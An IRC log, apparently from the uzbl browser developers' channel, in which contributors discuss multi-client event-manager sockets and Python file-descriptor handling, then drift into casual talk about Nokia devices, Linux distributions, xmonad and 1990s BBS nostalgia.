14:14 < rob|> oh and you can also connect with multiple clients to the  socket now, each connection will he handled independently plus all event are broadcastet to each client
14:19 < Dieterbe_> all events broadcasted to each client? wut?
14:20 < rob|> yeah, you can connect multiple times to the socket (usinf multiple socat instances or whatever) and each of these clients will also get event messages
14:21 < Dieterbe_> sorry i have to catch up. but which socket and which client are you talking about? socket belonging to EM ? client == uzbl-core?
14:21 < MichaelRaskin> client = event-manager
14:22 < MichaelRaskin> This time
14:22 < MichaelRaskin> Isn't client == uzbl-core with adressed messages better, though?
14:24 < Dieterbe_> oh that's cool. multiple EM's per uzbl instance :o
14:25 < Dieterbe_> useful? dunno. cool? yeah
14:32 < mason-l> rob|, You're a modern-day superhero.
14:32 < mason-l> I'll get my end working now.
14:33 < rob|> MichaelRaskin: with -connect-socket uzbl _is_ the client
14:33 < scj> I don't really like the socket things. uzbl shouldn't know nor care wether the are a multiple or one single instance of an event-manager. wouldn't it be better to write some plumbing program that takes care of the blocking issue on stdout?
14:33 < scj> to be placed between N uzbls -> 1 EM
14:34 < mason-l> scj, That would mean an extra process per instance.
14:34 < rob|> scj: no plumbing needed for this: uzbl-core > fifo
14:34 < scj> mason-l: not necessarily
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14:37 < MichaelRaskin> rob|, great, thanks
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15:55 < rob|> ok, one more change pushed:  you can now have multiple "--connect-socket name" arguments so you can also connect to multiple listening sockets
15:56 < rob|> hmm, well github seems to take a bit right now
15:56 < mason-l> multiple server sockets you mean?
15:56 < rob|> yes exactly
15:56 < mason-l> Nice :)
15:57 < rob|> you would just launch core like:  uzbl-core --connect-socket /path/to/python-em --connect-socket /path/to/lisp-em
15:58 < MichaelRaskin> I imagine conflicting keybindings to be a lot of fun in such a scenario
15:58 < rob|> oh and events are buffered for these sockets and replayed on connect
15:59 < mason-l> Awesome :)
15:59 < mason-l> rob|, The only other thing I wanted ask was make the connection to these sockets try a re-connect if they are dropped.
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15:59 < rob|> github seems to be down, though
16:00 < rob|> % git push origin experimental
16:00 < rob|> ERROR: Something went wrong. Please try again in a few minutes or contact GitHub.
16:00 < rob|> Connection timed out - connect(2)
16:00 < Dieterbe_> thanks so much guys. uzbl is improving so much because of you 
16:00 < Dieterbe_> i read github did a lot of changes to their stuff recently so it's maybe a known issue
16:01 < mason-l> rob|, Same on my end, connection timeout.
16:01 < rob|> hmm, then you'll have to wait a bit for this
16:07 < rob|> ah, now it got through
16:11 < Dieterbe_> ruskie: you follow my blog? i have something for you on there :)
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16:22 < Dieterbe_> well hello.. http://www.bleb.org/software/rox/
16:23 < scj> i want a n900 too >:(
16:23 < DuClare> N900 is expensive
16:25 < Dieterbe_> nah, for everything it can do i think the price is very reasonable
16:28 < DuClare> Is it really?
16:28 < DuClare> What's so new about its hardware?  Not much that I know
16:28 < DuClare> And the software?
16:29 < Dieterbe_> it's a complete debian system that fits in your pocket. that and tv-out, IR, FM transmitter/receiver, usb, great multitasking, great openGL performance, ..
16:30 < DuClare> Exactly
16:30 < DuClare> There's nothing new
16:30 < DuClare> Linux + some hardware + a little bit of hw specific software
16:30 < DuClare> It's cool
16:31 < DuClare> But there's nothing new and expensive
16:31 < MichaelRaskin> Expensive is because Nokia doesn't want it to get into hands of people who are not in awe beforehand.
16:31 < DuClare> :>
16:32 < DuClare> Too bad not all hackers are rich
16:32 < MichaelRaskin> They don't want every hacker to have it, but at least some.
16:33 < MichaelRaskin> Seems like they just gave it to the people from Maemo community they think they _need_ anyway.
16:33 < DuClare> The best ones don't rush to buy every new gadget... not even the supposedly good ones ;)
16:33 < MichaelRaskin> The best ones who know lots about Maemo got it from Nokia
16:33 < DuClare> I guess
16:34 < MichaelRaskin> Nokia seems to actively want to make Maemo niche for now.
16:34 < MichaelRaskin> Niche, but now advertised, however strange is what they do
16:35 < MichaelRaskin> At some point they will have to commoditize it - by that time they hope to polish away the visible problems..
16:36 < DuClare> What problems does it have right now?
16:36 < Dieterbe_> you phrase it a bit dubiously, but yes of course before you want to attract the mainstream, non-hacker crowd you want a device to be more polished. what's wrong with that?
16:37 < MichaelRaskin> Nothing, really. They just do some strange moves sometimes.
16:37 < Dieterbe_> but they are much more hackerfriendly then say palm/apple
16:37 < MichaelRaskin> DuClare, first GSM device on a platform _has_ to have GSM issues..
16:38 < MichaelRaskin> Dieterbe_, sure
16:38 < MichaelRaskin> I am just a bit surprised by their seemingly stretched marketing strategy
16:38 < Dieterbe_> well they did just invest a lot in n97 marketing
16:39 < MichaelRaskin> N810 (I own one) is a great Linux PDA.
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16:39 < MichaelRaskin> They wanted it to be niche
16:39 < MichaelRaskin> Looks like there were next-to-zero advertising
16:39 < MichaelRaskin> OK.
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16:40 < MichaelRaskin> A unpolished platform with some knobs in plain sight - great for hacker crowd, better not shown to mainstream crowd
16:40 < MichaelRaskin> Very nice gadget. For me.
16:41 < MichaelRaskin> With N900 they want _more_ people to _hear_ about the device with _less_ people buying the device, or so it seems
16:42 < MichaelRaskin> Just to be sure a big chunk of Maemo users will hold out, they made it with a smaller screen, less keys on the keyboard and without USB host.
16:43 < Dieterbe_> heh
16:43 < MichaelRaskin> Sorry, I am OK with sending SMS through a throaway Nokia 2630 from N810, thank you very much
16:44 < Dieterbe_> i want one device to rule them all. no digicam+phone+tablet
16:44 < MichaelRaskin> That is kind of funny.
16:44 < MichaelRaskin> I guess N1050 will be something like that..
16:45 < MichaelRaskin> N1000 being 3.5'' screen and N1020 being without slide-out keyboard.
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16:46 < Dieterbe_> funny, i also thought of something like that. albeit in a more optimistic context. aka 'different varations, for each a version that fits most'
16:46 < MichaelRaskin> Currently N810 seems EOL-ed and nothing 4.2'' Maemo is promised by Nokia.
16:47 < MichaelRaskin> I hope Nokia will stop playing chess on our brains some day, then we will see.
16:47 < DuClare> Guess it'll be a long wait before the ideal device is out :/
16:48 < MichaelRaskin> And yes, my prognosis about N10*0 is meant to be optimistic
16:48 < MichaelRaskin> As in "when dust settles.."
16:49 < Dieterbe_> you know what happens when companies are too much thinking about their own and not enough about their customers, right?
16:49 < MichaelRaskin> DuClare, ideal device is there - it is called an electrical heater and has 100% efficiency.
16:49 < Dieterbe_> competitors show up with a better product and steal marketshare
16:50 < Dieterbe_> and there's plenty of competition going on right now already..
16:50 < Dieterbe_> so i think nokia _is_ trying to please us
16:51 < DuClare> Well, they'd better hurry
16:51 < DuClare> Uhmmm
16:52 < MichaelRaskin> Nokia still is an 800-pound gorilla..
16:52 < DuClare> What.  GTA03 and GTA04 are cancelled?
16:52 < Dieterbe_> what are those?
16:53 < DuClare> Openmoko hardware
16:53 < DuClare> Meh
16:53 < DuClare> The project looks so dead
16:54 < DuClare> All I see is community activity
16:54 < DuClare> They can't create new hardware, can they?
16:55 < MichaelRaskin> They can't
16:55 < MichaelRaskin> They try to get some money by marketing wikireader or something
16:55 < DuClare> FIC?
16:55 < MichaelRaskin> I guess Nokia is going to defend its positions using Symbian for quite some time
16:57 < DuClare> The latest news about GTA03 are from .. more than a year ago
16:58 < DuClare> Or somebody hasn't been updating the wiki
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17:05 < rob|> mason-l: got it working? or is there anything missing?
17:08 < mason-l> I'll be a little while yet I'm making some more changes at the same time.
17:11 < rob|> ok, no hurry
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17:41 < rob|> oh, webkit 1.1.15 is in arch
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17:42 < Dieterbe_> surprise ! \o/
17:43 < Dieterbe_> it should even be there in 2 flavors. one of which has no gconf
17:46 < ruskie> Dieterbe_, no I don't know the link to your blog... I don't follow blogs in general ;)
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17:46 < Dieterbe_> there. pm'ed it to ya
17:50 < rob|> so, should we base experimental on webkit >=1.1.14?
17:51 < rob|> this would at least allow us to use the new source view feature
17:52 < rob|> which works pretty well
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19:53 < Dieterbe_> evening fellows
19:54 < rob|> heya
20:03 < Dieterbe_>  rob|> so, should we base experimental on webkit >=1.1.14?
20:03 < Dieterbe_> i guess yes, the 'hard core' guys will be better off. but we'll probably trigger a wave of people coming in saying 'wtf'
20:04 < rob|> yeah, i also don't want to check for the webkit version all over the code
20:04 < Dieterbe_> yep..
20:04  * Dieterbe_ food
20:04 < Zombywuf> Is that version in Ubuntu 9.10?
20:04 < rob|> Zombywuf, no idea
20:05 < Zombywuf> It's not in 9.04 and attempting to install from source complains about glib
20:13 < modnaru> As a 'hard core' guy, I agree.
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20:19 < rob|> ok, i will let everything as is until mason is ready with the EM changes
20:19 < rob|> then i'll push
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20:37 < mason-l> rob|, 350 lines of diffs already.
20:37 < rob|> wow
20:38 < mason-l> I'm cleaning up the code in the event manager.
20:38 < mason-l> For instance the plugin manager can be broken down into two simple functions.
20:38 < mason-l> (Which I've done)
20:39 < rob|> ah, ok nice
20:39 < rob|> i wonder with what interesting use cases people will come up with all this socket interaction possibilities
20:40 < mason-l> It waits to be seen.
20:40 < rob|> though, one EM for multiple instances will bring us a big step forward
20:41 < mason-l> Indeed.
20:41 < mason-l> brb, still hard at it.
20:41 < rob|> ok, take your time
20:45 < Dieterbe_> :)
20:46 < rob|> i'm looking forward to tabbed and EM integration, this could become really cool
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20:50 < Dieterbe_> indeed
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21:06 < keis> what, are you going to put tabbing in the core? :O
21:07 < mason-l> keis, Hey
21:07 < keis> hmm?
21:07 < mason-l> keis, Yes I intentionally left out the ^W & ^U when I originally pulled your EM patch because it completely broke the bind system.
21:08 < rob|> keis: nope, no tabbing in core
21:09 < mason-l> And while you new patch is an improvement I think the bind mechanism should be improved to allow both keycmds and modcmds to be used at the same time.
21:09 < mason-l> Which will allow us to bind events using the modcmd to manipulate the keycmd.
21:09 < mason-l> I.e. <Ctrl>w & <Ctrl>u
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21:09 < keis> ok, that makes sense. I just took the path of least resistance to get the feature i wanted i guess :)
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21:10 < keis> is this something you are working on? otherwise I might have a go at it this weekend or something
21:11 < mason-l> keis, By all means.
21:12 < mason-l> I'm working on the event_manager.py right now.
21:12 < keis> big changes?
21:12 < mason-l> Yeah, you could say that :)
21:13 < keis> or rather, is it changes that will bite me if i start hacknig on em as it is now?
21:14 < mason-l> keis, Nothing will be touched on the plugin side of things.
21:14 < mason-l> So you're find to start hacking away.
21:14 < keis> ok, nice :)
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21:54 < mason-l> rob|, 600 lines of diffs, still going strong.
21:55 < Dieterbe_> \o/
21:58 < rob|> mason-l: hell, are you rewriting the whole thing from the ground up?
22:00 < mason-l> That 600 includes some context so I will not know the true diff stat until I commit.
22:00 < mason-l> But just about.
22:11 < MichaelRaskin> Why?
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22:13 < keis> does "uzbl-core | event-manager" work for you? maybe I have messed something up. but here it looks like it picks [window-id?] as the event name.
22:14 < mason-l> keis, The order was changed a long time ago so you've probably got an old uzbl-core or EM on your system.
22:14 < keis> well, this is the one from Die_terbe/experimental.
22:15 < mason-l> Actually
22:15 < mason-l> I just come across this code.
22:16 < mason-l> I have no idea what the line number was but somewhere change "event, args = cmd[1], cmd[2]" to "event, args = cmd[1], cmd[3]
22:16 < mason-l> "
22:16 < keis> I wonder why read_from_fd and listen_from_uzbl_socket are diffrent in the first place
22:16 < mason-l> Wait
22:16 < mason-l> "event, args = cmd[2], cmd[3]"
22:17 < keis> yeah, that's what it reads in read_from_uzbl_socket
22:18 < keis> i think just using [2] solved it, but im hitting some unicode exceptions instead now
22:19 < mason-l> Ok, you need to update read_from_fd to do the same as listen_from_uzbl_socket
22:20 < keis> correct me if im wrong, but are those not supposed to the exact same thing? but with diffrent fds
22:20 < mason-l> keis, Kinda.
22:21 < mason-l> The difference is socket.recv and fd.read
22:21 < mason-l> But apparently you can turn socket objects into file objects
22:21 < bct> yup.
22:21 < Dieterbe_> i'm going to bed.  quite unusual to go to sleep before mason-l does but i'm tired and you are probably too :P
22:21 < keis> silly windows-like apis :(
22:22 < mason-l> Dieterbe_, I'll get to sleep when I finish :P
22:22 < mason-l> Good night.
22:22 < bct> socket.makefile().
22:22 < mason-l> Thats it!
22:23 < keis> but yeah, I think all things that in reality is fds have a get_fd-or-something method
22:23 < mason-l> Actually they are file objects not fd's (my mistake) but you can call get_fd on file objects (or something thereof).
22:24 < mason-l> And get the fd.
22:24 < bct> socket.fileno() i think?
22:24 < mason-l> Yeah
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22:24 < mason-l> file.fileno() and socket.fileno()
22:24 < mason-l> Or socket.makefile().fileno()
22:24 < bct> i don't like the way python mixes fd integers and file objects and socket objects.
22:24 < bct> everything should be a file.
22:26 < rob|> everything _is_ a file, but there are - even in C - multiple ways to access it.
22:26 < keis> it's the price you got to pay for a crossplatform language or library
22:29 < rob|> also "everything is a file" is somewhat misleading, it should be "everything is a file descriptor that you need to create using specific methods"
22:31 < bct> python could do a better job of hiding the difference though.
22:31 < bct> i'm saying that it's annoying to have to do a makefile() to get something that you can do a readline() on, for example.
22:32 < bct> and then you have to know that you shouldn't mix accesses to the original socket object and your new file object.
22:33 < keis> yes, but not all OSes supports to do that. it's perfectly reasonable to put syntatic salt for that feature
22:33 < bct> supports doing what?
22:34 < keis> treating sockets as files
22:34 < bct> if you can read bytes from it and write bytes to it you can treat it as a file...
22:35 < bct> (i'm using "file" in a pretty general sense here)
22:35 < rob|> indeed, but even C's standard libc makes this difference
22:36 < rob|> i.e. pure sockets and FILE * structures
22:36 < keis> ah, yes. for the simple operations it works I guess
22:36 < rob|> s/sockets/file descriptors/
22:37 < rob|> it's basically a matter of abstraction
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22:37 < keis> you can still use open/read/write in C
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22:37 < bct> yeah, you obviously can't rewind a socket or get its length.
22:37 < rob|> keis: you can't on FILE*
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22:38 < keis> ah no, but if you use open you don't get a FILE*
22:39 < rob|> sure, but you get it if you use the more convenient fopen and friends functions
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22:39 < bct> but i still don't see how that justifies not being able to do socket.readline() in python.
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22:41 < rob|> i have no idea about python internals, just wanted to point out that even a "low level" language as C does make such a separtion for a reason
22:44 < bct> i think it's a flaw that you can't use read and write on a FILE* in C.
22:44 < bct> technical limitation of the language.
22:45 < rob|> no
22:46 < rob|> you can get the fd from a FILE* and use read/write on it, though mixing those with the f* functions can cause havoc
22:47 < bct> if C supported some kind of polymorphism then no havoc would be wrought.
22:48 < rob|> well, that's another story
22:48 < bct> that's what i'm saying. if C was capable of it, it would be preferable.
22:48 < bct> because uniform interfaces are better than non-uniform interfaces (all else being equal)
22:50 < rob|> sure, that's one of the reasons why all languages all kind of fragile if not used correctly
22:50 < rob|> *are
22:51 < rob|> that is side effectss, functional languages like haskell are trying to address these limitations
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23:44 < mason-l> rob|, I'm beyond exhausted so I'll test my changes--today--after a good sleep.
23:44 < mason-l> Talk to you in a few hours.
23:44 < mason-l> Then I'll push some changes
23:44 < mason-l> night guys.
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00:51 < keis> heh, that was easier than I thought. ripped out most of the key_pressed code and what was left more or less worked
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02:03 < comhack> How do I close the page when I open the source of the page? I tried Zz but it didnt work
02:03 < comhack> thanks
02:03 < comhack> running uzbl-git
02:04 < comhack> in arch linux
02:06 < comhack> I could xkill it but I would rather know how to do it the right way
02:06 < keis> dunno, is the sourceview claiming the input perhaps?
02:06 < comhack> might be?
02:07 < comhack> I would assume it is since Zz does not work
02:07 < keis> you could try clicking in the statusbar
02:07 < comhack> only two icons in the starus
02:08 < comhack> one changes the icons at the top the other brings up a menu with ALL Errors Warnings and Logs
02:08 < comhack> nothing about exit or quit
02:08 < keis> toolbar/whatever in uzbl
02:08 < comhack> I use xmonad
02:08 < comhack> no toolbar
02:08 < keis> ctrl+shift+c ?
02:08 < keis> :)
02:09 < comhack> nope
02:09 < comhack> tried thart
02:09 < comhack> and its alt-shift-c
02:09 < keis> unless you have changed your xmonad config
02:09 < keis> oh, right :)
02:09 < comhack> yeah that worked
02:09 < comhack> but not really a uzbl command
02:09 < comhack> thanks for reminding me of that
02:10 < comhack> just like using xkill though not the real way
02:10 < comhack> should be a way in uzbl    maybe file a feature request or bug report?
02:10 < keis> I don't think the view-source thing is tested that much, it's not enabled by default in experimental
02:11 < comhack> ahh
02:11 < comhack> well I run git not experimental in archlinux
02:11 < comhack> oh misread
02:11 < comhack> uzbl is great so far  a few qwirks need ironing out but its still great
02:12 < comhack> I have been using it for about a week or so
02:12 < keis> yeah, I think so too :)
02:12 < comhack> I love it
02:12 < comhack> I have also been using XMonad for about a couple of weeks and it works nicely on xmonad
02:13 < comhack> I was a openbox user before but had to get a keyboard-driven browser to go with xmonad
02:13 < keis> I haven't really got it to work like I want with xmonad
02:13 < comhack> so much easier on my 3 monitors
02:13 < keis> cycling trough 10ish windows is not really nice
02:13 < comhack> Well I have it pretty much configured   xmonbar included
02:14 < comhack> and 9 workstations
02:14 < keis> workstations?
02:14 < comhack> works great with multiple monitors  so I can choose which worksation on which monitor
02:14 < keis> workspaces?
02:14 < comhack> 6 workstations
02:14 < comhack> 3 monitors on one machine
02:15 < comhack> meant 9 workstations in xmonad not actual machines
02:15 < keis> I don't get it are you running 6 machines with 3 monitors?
02:15 < comhack> yeah you know what I mean
02:15 < keis> ah, ok
02:15 < comhack> no I have 6 machines
02:15 < comhack> one machine has 3 monitors
02:15 < comhack> I run xmonad on it
02:15 < comhack> sorry a little drunk
02:15 < keis> i use dynamic workspaces in xmonad
02:15 < comhack> dynamic? no sure I know what you mean
02:15 < comhack> sorry
02:16 < keis> like, I can create them on-the-fly
02:16 < keis> I combine this with tagging, so I can say e.g "create a new workspace with all windows tagged 'porn'"
02:16 < comhack> yeah I do that too
02:17 < comhack> here is my beginner screeny http://www.imagebam.com/image/4d91f951012756 before I added the 3rd monitor
02:17 < keis> oh, flashy :P
02:18 < comhack> actually this is the one that was the first day http://www.imagebam.com/image/292d3551138994
02:18 < keis> but I guess you are running simpleTabbed with uzbl?
02:18 < comhack> I fixed the xmobar
02:18 < comhack> but thanks
02:20 < comhack> loks better with uzbl running hehehe
02:20 < keis> :)
02:24 < comhack> no simple tab
02:24 < comhack> no tabs or cookies
02:24 < comhack> the cookies make it run slow because of webkit
02:24 < comhack> Atleast I was told something like that
02:24 < comhack> commenting out cookies keeps it from hanging so much
02:24 < keis> what layout are you using then?
02:25 < comhack> layout in uzbl?
02:25 < keis> in xmonad
02:25 < comhack> full most of the time
02:25 < comhack> use different workspaces
02:25 < comhack> sometimes tall
02:25 < keis> ah, thats explains it :)
02:25 < comhack> explains what?
02:25 < comhack> let me know if there is a better way
02:26 < comhack> just starting with haskell and tiling window managers
02:26 < comhack> been a openbox users for a couple of years
02:26 < keis> well, running uzbl with tall gets out of hand rather quickly
02:26 < comhack> most of the time uzbl is in full
02:26 < comhack> alt-tab my way through windows since no tabs
02:27 < comhack> I have one workspace for uzbl (web)
02:27 < comhack> one for screen with ssh irc chat torrent etc
02:27 < comhack> 3 for alpine
02:27 < comhack> about it for now
02:27 < comhack> #workspace 3
02:28 < keis> yeah, adding a extra monitor would be nice. then I wouldnt need to split my layouts
02:28 < comhack> well I guess that is one reason why full works for me
02:29 < comhack> I was splitting them before I started using the workspaces instead
02:29 < comhack> much faster and cleaner
02:29 < comhack> learning as I go
02:29 < keis> but I find i kinda handy when you are coding and you can have a uzbl with the reference on half the screen
02:29 < comhack> started with the examples in /usr/share but have customized some
02:29 < comhack> exactly
02:30 < comhack> I do that when comparing two things or like you said a reference
02:30 < comhack> that is when I go tall
02:30 < comhack> I wish I would of found xmonad years ago
02:31 < comhack> and uzbl ;)
02:31 < comhack> well uzbl wasnt around but still the same
02:31 < keis> but good tiling wm have been around a while
02:31 < comhack> yeah but I never got into them
02:31 < comhack> was in love with fluxbox and openbox
02:32 < comhack> only been using nix for 8 years and arch for 2
02:33 < keis> yeah, I started out with fluxbox to. then I was using metacity or whatever the default i gnome was because I was lazy :P
02:34 < comhack> yeah I had went through the lazy stager a few times but finally figured it was worth the time and aggrevation to get it right
02:34 < comhack> I used to love kde before 4
02:34 < comhack> 3.5 rocked at one point
02:35 < keis> i have only used kde a little, some old version on slackware :P
02:35 < comhack> then I got into the "I have a fast computer but like to run extremely lightweight stuff" stage
02:35 < comhack> 8gb ram for Xmonad, its funny to think about it sometimes
02:36 < comhack> almost went framebuffer only mode
02:36 < keis> hehe
02:36 < comhack> I figured why go through a menu when you can press some keys
02:36 < keis> http://www.imagebam.com/image/815a1052262598 - combineTwo tall tabbed ...
02:37 < comhack> Before openbox I was using kde with only keyboard shortcuts   well the best I could
02:37 < keis> somethings are (was?) almost impossible to do without a mouse, like browsing
02:37 < comhack> what is the bar at the top?
02:37 < comhack> yup I agree
02:37 < keis> err, gnome-panel
02:38 < comhack> ok
02:38 < comhack> in xmonad, why?
02:38 < comhack> xmobar works great
02:38 < comhack> and dmenu
02:38 < keis> I was using gnome but only changed the window manager
02:39 < comhack> how did you get the tab interface for uzbl   from the plugins page?
02:39 < comhack> ahhh
02:39 < keis> so i'm still starting it with gnome-session
02:39 < keis> ah, no. that is xmonad
02:39 < comhack> I guess   kinda of defeats the purpose doesnt it
02:39 < comhack> well no still tabs
02:39 < keis> depends on what the purpose is
02:40 < comhack> I used a tab managerfor openbox for a couple of days
02:40 < comhack> looks good though
02:41 < comhack> rjc: rhey got a question
02:41 < comhack> sorry
02:41 < comhack> keis: got a question
02:41 < keis> the good thing with putting the tabs in the wm is that you can group whatever windows together
02:42 < keis> yeah?
02:42 < comhack> have you noticed when you post at a forum the spacing is not right when you click submnt
02:42 < comhack> #submit
02:42 < comhack> like in bbs.archlinux.org
02:42 < comhack> or other forums
02:42 < keis> err, yeah
02:43 < comhack> for instance a space between paragraphs do not show up when you click submit
02:43 < comhack> I noticed if I space twice it would show one space though
02:43 < keis> most forums inserts the spaces dircetly into the html, which does nothing
02:43 < comhack> well other browsers do nto show this
02:44 < comhack> like for instance I type a sentence and hit enter then type "Thanks" Well there is no space between the sentence and "Thanks" when I hit submnt
02:44 < comhack> #submit
02:44 < keis> ah, but you still get the newline. right?
02:44 < comhack> running x86_64 uzbl if it matters
02:44 < comhack> shouldnt
02:46 < comhack> keis: I get the newline yes
02:46 < keis> shouldnt? it's not unknown for sites to have a s/\n/<br/>/
02:47 < comhack> Most of the time I can hit enter and make a space between sentences on most browsers
02:47 < comhack> well enter twice
02:47 < comhack> to make a space betweeen lines
02:47 < comhack>  well the space dissappers when I click submnt in uzbl
02:47 < comhack> no biggie but a pain sometimes
02:47 < keis> hmm, wierd.
02:48 < comhack> post do not looks right with no space between text and screenshots for instace
02:48 < comhack> #instance
02:48 < keis> I don't think uzbl is messing with the POSTing, so i would be webkit thing
02:48 < keis> it*
02:49 < comhack> cool I figure the kinks will be worked out soon enough
02:49 < comhack> uzbl will be more awesome soon enough
02:50 < comhack> its a fairly new package
02:50 < keis> yeah, but it looks like there is quite some activity
02:50 < comhack> are are you running uzbl-git or uzbl-experimental-git
02:50 < comhack> ?
02:51 < keis> im running my branch :)
02:51 < comhack> I hear ya
02:51 < comhack> you a dev or something
02:51 < comhack> ?
02:52 < keis> nah, not really. just poking at the source
02:52 < comhack> cool
02:52 < comhack> so what have you done to your package if you dont mind me asking
02:53 < keis> I've added basic commandline edting. but that is merged with experimental now
02:53 < keis> and some smaller not so succesfull tests :P
02:53 < comhack> cool
02:53 < comhack> at least you are trying to tweak it
02:53 < comhack> A for effort
02:54 < keis> :)
02:54 < comhack> You run Archlinux?
02:54 < keis> gentoo
02:54 < comhack> hmmmm
02:54 < comhack> not much of a fan sorry
02:55 < keis> they said all the cool kids were running gentoo when I started :P
02:55 < comhack> Ahh they told me Slackware but then I realized they meant Archlinux
02:55 < comhack> hehehe
02:56 < comhack> I have a problem with how long it takes to install simple packages. I know it builds specific to your machine (source) but still sometimes it is redicluous
02:56 < comhack> but to each his own
02:56 < comhack> LFS seemed simpler
02:57 < comhack> but I guess thats why thwere are so many flavors of linux
02:57 < keis> it's not so painfully long compiletimes imo
02:57 < comhack> well its been awhile
02:57 < comhack> then I was running core2duo and it took forever to build and install firefox
02:57 < comhack> now on a quad
02:58 < comhack> only 4gb of ram at that time     now I have 8gb
02:58 < keis> im only running on a core2, but yeah firefox is a large compile
02:58 < comhack> but anyway I am happy with arch    I have it on 6 machines including my Nokia n810
02:59 < comhack> but is it worth it when all is said and dome    speed wise
03:00 < keis> in gentoo? the speed argument is mostly bs. if you go and install bloatware like firefox :P
03:00 < comhack> true
03:00 < comhack> When I run firefox, I use firefox-pgo   it is xulrunner independent and much faster
03:00 < comhack> but yeah bload
03:00 < comhack> #bloat
03:01 < keis> I thought it always used xulrunner
03:01 < comhack> Have you tried arch? http://wiki.archlinux.org/index.php/Arch_Compared_To_Other_Distros#Arch_vs_Gentoo
03:01 < keis> only you can use the intree or external xul
03:02 < comhack> nope not this paclkage
03:02 < comhack> #package
03:02 < comhack> http://aur.archlinux.org/packages.php?ID=22296
03:02 < comhack> Mozilla Firefox - tracemonkey-enabled, XULRunner independent, optimized with PGO - real standalone
03:02 < keis> no use-flags, :OOOO
03:03 < comhack> yeah its noticeably faster
03:03 < keis> but then again I get the feeling arch is the kind of distro that shares my view on what to include.
03:04 < keis> like no pulseaudio and whatever the latest crapfest is
03:05 < comhack> cool give it a try http://wiki.archlinux.org/index.php/Beginners'_Guide  follow this to the "t" for installation
03:06 < comhack> like gentoo you need the installation guide or I did with gentoo
03:06 < comhack> Like gentoo you end up with a prompt after installation, you install X and everything else including wm
03:06 < keis> they have invented some new graphical tool that doesnt work now, in gentoo :P
03:07 < comhack> hehhe
03:07 < comhack> they have invented a few gui installation scripts that didnt work over the years
03:07 < keis> but I think i installed this system from a ubuntu live-cd :P
03:08 < comhack> Blasphemy
03:08 < keis> it's only a matter of extracting a couple of tarballs
03:08 < keis> hah, ubuntu is good enough. i'm using it on my netbook
03:09 < comhack> heee what kind
03:09 < comhack> I got a eeepc 701 4gb   one of the originals
03:09 < comhack> running archlinux
03:09 < keis> umh. 1000 H or something like that.
03:09 < keis> eeepc
03:09 < comhack> sux now but it works    should of waited on the atom
03:09 < comhack> cool
03:09 < comhack> you got one of the good eeepc
03:10 < comhack> I got the original one and it sux compared to the newer ones
03:10 < keis>  it's one of the eees with atom
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03:10 < comhack> I always buy it when it first comes out    should wait awhile
03:10 < keis> to bad I had to pay for a windows license too
03:10 < comhack> It happens everytime   I buy it first and months later something wauy better comes out
03:11 < comhack> uggggg I got shitty xandros but better than windoze
03:11 < keis> yeah, I hate when that happens. or when they lower the price with like 20% the next week
03:11 < comhack> yup
03:11 < comhack> now I stay one class behind because if you wait a few months the price drops considerably
03:12 < comhack> as far as vid cards etrc   I bought a quad when the intel i7 came out
03:12 < comhack> got alot cheaper then
03:12 < comhack> its better to stay one step behind   at a 3rd of the price but you probably alread yknow that
03:13 < keis> yeah, im trying to that. but then again you always want the latest stuff :P
03:13 < comhack> hell my sli geforce 9500s work on max settings on any new game that comes out
03:14 < comhack> yeah I do too
03:14 < comhack> I wish I had the money for an intel i7    hell I have 2.7 tb of space and need more
03:14 < comhack> there is never enough
03:15 < comhack> not as bad as the early 90s but still bad
03:15 < keis> i dunno, did'nt buy much hardware back then
03:15 < comhack> I remember my mom bought a tany 1000 back in the early ninties and two months later it was obsolete
03:15 < comhack> #tandy
03:16 < comhack> tandy 1000 for $2500 USD with 64k memory and a 8086 before windows with a crappy Tandy OS      too months later it could not run any new apps
03:16 < comhack> she was pissed
03:17 < keis> haha
03:17 < comhack> had the new and improved 3.5 disk drive
03:17 < comhack> man I was l33t on the bbs's
03:18 < comhack> Prodigy suxed
03:18 < keis> hehe
03:18 < keis> prodigy?
03:18 < comhack> You old enough to remember them
03:18 < comhack> it was a dial up service sorta like AOL became years later
03:19 < comhack> there was no internet    you connect to local BBSs
03:19 < comhack> buliten board systems
03:19 < keis> no, I remember one of my fathers friend explaining where he got the games. I guess he was describing a bbs
03:19 < comhack> sorta of like irc but different
03:19 < comhack> yup used to trade "warez
03:19 < comhack> "
03:20 < comhack> back then    pirated stuff is what you call it nowadfatys
03:20 < keis> I think the time was about right, wolfenstein 3d and stuff
03:20 < comhack> #nowadays
03:20 < comhack> no wayyy before that
03:20 < comhack> back before windows
03:20 < comhack> before msdos
03:20 < keis> hmm, the bbs scene was dead by then?
03:20 < comhack> like in 90-92  back when radio shack had its own line of computers
03:20 < comhack> well no
03:21 < comhack> bbs is still around a little but
03:21 < comhack> #bit
03:21 < keis> hmm, wonder what it was then.. usenet?
03:21 < comhack> bbs was text mode only chat rooms before the www
03:21 < comhack> yeah like usenet
03:21 < comhack> but live
03:22 < comhack> there were local bbs in different areas
03:22 < keis> mhm
03:22 < comhack> where people play text games MMOs without the worldwide and there were pay for services kind of like old AOL(back when they were ISPs)
03:22 < comhack> and such
03:23 < comhack> aol even had local numbers to call
03:23 < keis> cool :)
03:24 < comhack> there used to be AOL program called AOHell where you could boot people off of channels, sign in throught the backdoor as a chat modd, type stuff under other people's nick and such
03:24 < keis> I guess it would be cool to have experience that, but im not complaining about 10Mbit and bittorrent :P
03:24 < comhack> it was great for many years
03:24 < comhack> oh it was cool
03:24 < comhack> but nothing like today'
03:24 < comhack> that experience is obsolete
03:24 < comhack> most teenagers know more than I do
03:25 < comhack> espeicially nowadays
03:25 < keis> what? about bbs?
03:25 < comhack> I can proghram and usch but you know they grey up with access to everything and have nothing else to do but got to school and hack
03:25 < comhack> #program and such
03:25 < comhack> keis: +1 BBSs
03:25 < comhack> hehehe
03:26 < comhack> I was speaking of Prodigy and other bbs's and AOHell
03:26 < keis> hah, teenagers have no time to code. facebook and youtube consumes all their time :P
03:26 < comhack> reminiscing 
03:26 < comhack> keis: yeah
03:26 < comhack> brb
03:27 < comhack> kk
03:27 < keis> not that I don't waste a lot time on youtube and the chans
03:27 < comhack> 'yeah I hear ya
03:31 < comhack> not much on chan more of a reddit type
03:32 < keis> same imagemacros anyway
03:32 < comhack> NEver really got into it   I know there are some decent channels out ther but never really messed with it
03:32 < comhack> keis: yeah right
03:32 < comhack> reddit has went down in the last year
03:32 < comhack> bunch of bs on there now   Q/A shit
03:33 < comhack> like who cares
03:33 < comhack> and I only read the technology section
03:33 < keis> hehe, where the chans feels like the are run from someones basement most of the time
03:33 < comhack> yeah right
03:34 < comhack> although anonymous +1
03:34 < keis> indeed
